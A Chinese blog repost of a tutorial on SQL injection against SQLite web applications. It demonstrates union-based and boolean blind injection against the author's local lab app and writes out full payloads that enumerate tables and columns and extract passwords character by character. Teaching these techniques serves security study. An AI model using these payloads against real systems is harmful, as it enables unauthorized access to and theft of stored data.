热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

基于SQLite数据库的Web应用程序注入指南

本文转载自【技术分享】基于SQLite数据库的Web应用程序注入指南概述SQL注入是造成网络世界巨大损失而臭名昭著的漏洞之一,研究人员已经发布了许多关于不同SQL服务的不同攻击技巧相关

本文转载自【技术分享】基于SQLite数据库的Web应用程序注入指南

概述

SQL注入是造成网络世界巨大损失而臭名昭著的漏洞之一,研究人员已经发布了许多关于不同SQL服务的不同攻击技巧相关文章。对于MSSQL,MySQL和ORACLE数据库来说,SQL注入的payload一抓一大把。SQLite就比较不那么出名了,因此相关的SQL注入payload就比较少,如果你想攻击后端数据库为SQLite的服务器,那你就得去学习SQLite相关功能,然后构造出你自己的payload。因此,本文中我们将探讨两种关于SQLite的SQL注入攻击技巧。
1、基于联合查询的SQL注入(数字型和字符型)
2、SQL盲注
(因为作者在payload中使用了instr,所以sqlite需要为3.7.15及以上的版本)

实验环境

为了实现基于SQLite的SQL注入,我们需要以下环境。
1、web服务器(这里是apache)
2、PHP环境
3、使用SQLite数据库的存在漏洞的web应用,这里有一个我自己开发的应用sqlite-lab
测试应用包里包含PHP代码和SQLite数据库(ica-lab.db)。数据库共有两个表单,Info和Users。

实施攻击

1、基于联合查询的SQL注入(数字型)

基于联合查询的SQL注入并不难,SQL查询直接去数据库中获取表名以及列名。让我们来试试基于联合查询的SQL注入(数字型)。

http://127.0.0.1/sqlite-lab/index.php?snumber=1

在尝试order by子句后,我们可以发现列数为5。

http://127.0.0.1/sqlite-lab/index.php?snumber=1 union select 1,2,3,4,5--

这里写图片描述
列2,3,4的数据在web页面上被打印出来了,因此我们需要利用这三个列的其中一个或多个。
获取表名
在SQLite中,为了猜解表名我们需要运行以下查询。

SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

在漏洞应用程序里,如果我们构造像以下这样的链接,web应用将会在2这个位置显示所有表名。

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,group_concat(tbl_name),3,4,5 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

这里写图片描述
为了让表名单独显示,我们可以使用带offset的limit子句,就像这样。

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,tbl_name,3,4,5 FROM sqlite_master where type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1

limit后面接的数字是为了获取行数,而offest后面接的数字则为第一次返回结果中的删除数。在上述查询中,limit提取了两个表名,然后第一个被offset删除掉,所以我们获得了第二个表名。类似的,为了获取第三个表名,只需要改变limit和offset为3跟2即可,即limit 3 offset 2。
获取列名
对于获取列名来说,同样有个简单的SQL查询来从指定表中获取列名。

union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name='table_name'

只要把上述查询中的table_name替换为你想要获取列名的相应表的表名即可,在本例中,我想获取info表的列名。

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='info'

这里写图片描述
获取列中的数据
现在我们有了表名和列名,最后一件事就是去获取我们想要的列中对应的数据了,可以使用如下SQL查询。

Select column_name from table_name

只要将column_name和table_name替换为你想要的名字就行了,在本例中表名为info,列名为OS。

select OS from info
http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,OS,3,4,5 FROM info

这里写图片描述
我们可以使用group_concat函数来提取列中的完整数据。

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,group_concat(OS,'~~'),3,4,5 FROM info

这里写图片描述

2、基于联合查询的SQL注入(字符型)

字符型的基于联合查询的SQL注入与数字型的并没有太大差别,唯一的区别在于,用户的数据将被放入SQL分割符之间,我们将需要逃逸引号、括号等分隔符的闭合。在漏洞应用程序中有一处字符型的基于联合查询的SQL注入,注入点如下。

http://127.0.0.1/sqlite-lab/index.php?tag=ubuntu

为了利用该SQL注入,只需要在payload前加上’并在结束前加上– -,举个例子,要获取表名需要用到如下payload。

' union select 1,2,3,4,5 FROM sqlite_master WHERE type IN('table','view') AND name NOT LIKE 'sqlite_%' -- -
http://127.0.0.1/sqlite-lab/index.php?tag=ubuntu' union select 1,2,3,4,5 FROM sqlite_master WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%' -- -

因此,字符型基于联合查询的SQL注入除了一点点调整以逃逸分隔符外,与数字型的并没有差别。

3、布尔型SQL盲注

在本节中我们将讨论SQL盲注技巧。基于联合查询的注入简单而直接,但盲注就比较需要时间和技巧了。在开始之前,先鉴别下注入点是字符型还是数字型的,如果注入点是数字型,那我们需要做的调整和payload将如以下所示。

paramater=value and 2 <3--

如果注入点是字符型的,那payload就长以下这样。

paramater=value' and 2 <3-- -
paramater=value) and 2 <3-- -
paramater=value') and 2 <3-- -

如果SQL注入是字符型的,只要将你的payload放置到闭合分割符和– -之间。假设我们用来探测的语句是paramater=value) and 2 <3– -,那么payload将被放置在value)和– -之间。现在,我们开始对数据库进行枚举,在本例中的index.php脚本中,POST参数tag存在布尔型的SQL盲注,一个可用请求如下。

http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu&search=Check+Plan

让我们开始吧!
计算表单数量
为了计算表单的数量,我们可以使用如下payload。

and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) 

用数字来替换number_of_table,现在就让我们在实验环境中测试吧,我们将判断数据库表单总数是否小于5,payload长这样。

and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) <5

然后注入的HTTP请求长以下这样。

http://127.0.0.1/sqlite-lab/index.php
POST request data
tag=ubuntu' and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) <5 -- -&search=Check+Plan

这里写图片描述
在fuzz中,我们需要检查页面内容与之前是否一致,一致则为真即表单数量小于5。接着,当我们将数量改为2,数据库表单数量为2,因此状态为假,即页面将与之前不一致。为了确认表单数量,使用=来代替<和>。

http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu' and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) =2 -- -&search=Check+Plan

确认了表单数量后,我们就一个接一个地猜解表名。
猜解表名
为了猜解表名长度,可以使用以下payload。

and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number

此处,将table_name_length_number替换为数字,如以下我们确认第一个表名长度是否小于6的payload。

and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) <6

通过fuzz,我们可以得到表名的长度,然后接着猜解下一个表名的长度,只需要增加limit和offset的值即可。

and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1) = table_name_length_number

其余的payload则保持一致。接着,我们将通过如下payload猜解表名,在该payload中,我们将使用hex值来与表名中的字符进行对照。

and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')

该payload提取表名然后提取其中字符,将其转换为hex表示,再跟我们猜测的值进行对比。hex(substr(name,1,1))函数从指定位置提取表名中的一个字符。在上述代码中,substr函数从位置1提取一个字符,再将其转换为hex形式。如果是hex(substr(name,3,1))则表示从第3位开始,截取一个字符。在payload最后,hex(‘some_char’)是我们需要猜测的指定表名字符,hex函数将会将其转换为hex值,这将会让我们的注入更加快速一些。一旦我们得到表名的第一个字符后,我们将继续猜解第二个字符,为了猜解下一个字符,我们需要改变substr函数中代表字符所在位置的数字。即hex(substr(name,1,1))中将1,1改为2,1,接着,我们再进行相同的步骤直到猜解完毕。让我们来看看具体情况,首先我们将猜解表名第一个字母是否大于a。

http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu' and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('a')-- -&search=Check+Plan

这里写图片描述
页面响应与未被注入时一致,这意味着表名的第一个字符大于a。在第二次测试中我们尝试字符k,即测试表名第一个字符是否大于字母k。

http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu' and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('k')-- -&search=Check+Plan

现在,页面响应与之前普通页面不一致了,即说明表名第一个字符不大于字母k。因此,通过上面两个请求,我们得出表名第一个字符在a和k之间。在多次尝试后,我们就可以将范围缩到两个前后为同一个字符,这时我们使用=来判断。

http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu' and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('i')-- -&search=Check+Plan

以上就是通过fuzz猜解表名的过程,为了继续猜解下一个字符,只需要将hex(substr(name,1,1))中的1,1改为2,1即可,其余不变,然后就继续猜解直到完全猜解出来为止。
猜解列名
为了猜解列名,我们将会使用如下payload来获取列名列表。

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),"`","")

这里写图片描述
为了提取相应字符数据需要将其转换为hex再进行比较,以下payload将会有所帮助。

hex(substr(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),"`",""),column-name_character_numer,1))

你只需要将上面payload中的column-name_character_numer替换为相应的数字即可,比如想要猜解列名列表中的第一个字符,你只需将其替换为1。本例中的SQL盲注payload如下。

and (select hex(substr(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),"`",""),1,1)) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' and name='info') 'Character_we_are_guessing')

将Character_we_are_guessing替换为想要猜解的字符即可,就像下面示例,hex(‘q’)表示我们想要确认第一个字符是否在q之前。

http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu' and (select hex(substr(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),"`",""),1,1)) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' and name='info') 'q')-- -&search=Check+Plan

页面内容与之前的一致,即列名第一个字符在q之前。后续步骤与前面猜解表名类似。
从列中猜解数据
接着让我们来猜解列中的数据。在猜解完表名和列名后,假设我们想要猜解users表中password列的数据。如我们所知,从表中的列里面提取数据的SQL查询如下。
Select column_name from table_name
只返回一条结果可以使用如下语句。
Select password from users limit 1 offset 0
计算查询结果数量可以使用如下语句。
Select count(password) from users
获取单一结果的长度可以使用如下语句。
Select length(password) from users limit 1 offset 0
现在,让我们开始提取数据吧,SQL查询如下。
Select hex(substr(password,1,1)) from users limit 1 offset 0
让我们开始提取数据的第一个字符吧,payload如下。

and (Select hex(substr(password,1,1)) from users limit 1 offset 0) > hex('k')
http://127.0.0.1/sqlite-lab/index.php
Post body data
tag=ubuntu' and (Select hex(substr(password,1,1)) from users limit 1 offset 0) >hex('a')-- -&search=Check+Plan

这里写图片描述
页面内容与之前一致,我们可以确定第一个字符在a之后,将字符换成k,然后我们就可以看到页面不一致。
这里写图片描述
于是得到第一个字符位于a到k之间。后续猜解过程与前面猜解表名和列名一致,重复猜解动作直到猜解出所有字符为止。


推荐阅读
  • Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施
    本文详细解析了Apache Shiro 身份验证绕过漏洞 (CVE202011989) 的原理和影响,并提供了相应的防范措施。Apache Shiro 是一个强大且易用的Java安全框架,常用于执行身份验证、授权、密码和会话管理。在Apache Shiro 1.5.3之前的版本中,与Spring控制器一起使用时,存在特制请求可能导致身份验证绕过的漏洞。本文还介绍了该漏洞的具体细节,并给出了防范该漏洞的建议措施。 ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • MySQL 数据库基础学习 一、SQL的作用及分类 二、数据类型 三、存储引擎  (建库建表、数据插入等))
    MySQL 数据库基础学习 一、SQL的作用及分类 二、数据类型 三、存储引擎 (建库建表、数据插入等)) ... [详细]
  • 禁止程序接收鼠标事件的工具_VNC Viewer for Mac(远程桌面工具)免费版
    VNCViewerforMac是一款运行在Mac平台上的远程桌面工具,vncviewermac版可以帮助您使用Mac的键盘和鼠标来控制远程计算机,操作简 ... [详细]
  • t-io 2.0.0发布-法网天眼第一版的回顾和更新说明
    本文回顾了t-io 1.x版本的工程结构和性能数据,并介绍了t-io在码云上的成绩和用户反馈。同时,还提到了@openSeLi同学发布的t-io 30W长连接并发压力测试报告。最后,详细介绍了t-io 2.0.0版本的更新内容,包括更简洁的使用方式和内置的httpsession功能。 ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • Linux环境变量函数getenv、putenv、setenv和unsetenv详解
    本文详细解释了Linux中的环境变量函数getenv、putenv、setenv和unsetenv的用法和功能。通过使用这些函数,可以获取、设置和删除环境变量的值。同时给出了相应的函数原型、参数说明和返回值。通过示例代码演示了如何使用getenv函数获取环境变量的值,并打印出来。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • Oracle10g备份导入的方法及注意事项
    本文介绍了使用Oracle10g进行备份导入的方法及相关注意事项,同时还介绍了2019年独角兽企业重金招聘Python工程师的标准。内容包括导出exp命令、删用户、创建数据库、授权等操作,以及导入imp命令的使用。详细介绍了导入时的参数设置,如full、ignore、buffer、commit、feedback等。转载来源于https://my.oschina.net/u/1767754/blog/377593。 ... [详细]
  • CentOS 7部署KVM虚拟化环境之一架构介绍
    本文介绍了CentOS 7部署KVM虚拟化环境的架构,详细解释了虚拟化技术的概念和原理,包括全虚拟化和半虚拟化。同时介绍了虚拟机的概念和虚拟化软件的作用。 ... [详细]
  • Oracle seg,V$TEMPSEG_USAGE与Oracle排序的关系及使用方法
    本文介绍了Oracle seg,V$TEMPSEG_USAGE与Oracle排序之间的关系,V$TEMPSEG_USAGE是V_$SORT_USAGE的同义词,通过查询dba_objects和dba_synonyms视图可以了解到它们的详细信息。同时,还探讨了V$TEMPSEG_USAGE的使用方法。 ... [详细]
  • 本文讨论了在VMWARE5.1的虚拟服务器Windows Server 2008R2上安装oracle 10g客户端时出现的问题,并提供了解决方法。错误日志显示了异常访问违例,通过分析日志中的问题帧,找到了解决问题的线索。文章详细介绍了解决方法,帮助读者顺利安装oracle 10g客户端。 ... [详细]
  • OWASP(安全防护、漏洞验证工具)开放式Web应用程序安全项目(OWASP,OpenWebApplicationSecurityProject)是一个组织 ... [详细]
  • FIN7后门工具伪装成白帽工具进行传播
    fin7,后门,工具,伪装,成,白, ... [详细]
  • 深入浅出工控机加密
    工控机痛点在于不连外网,操作系统无法打补丁,病毒库无法更新,普通杀毒软件无用;因为是专用设备,用户的网管不敢在 ... [详细]
author-avatar
亮我mc踢弯的
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有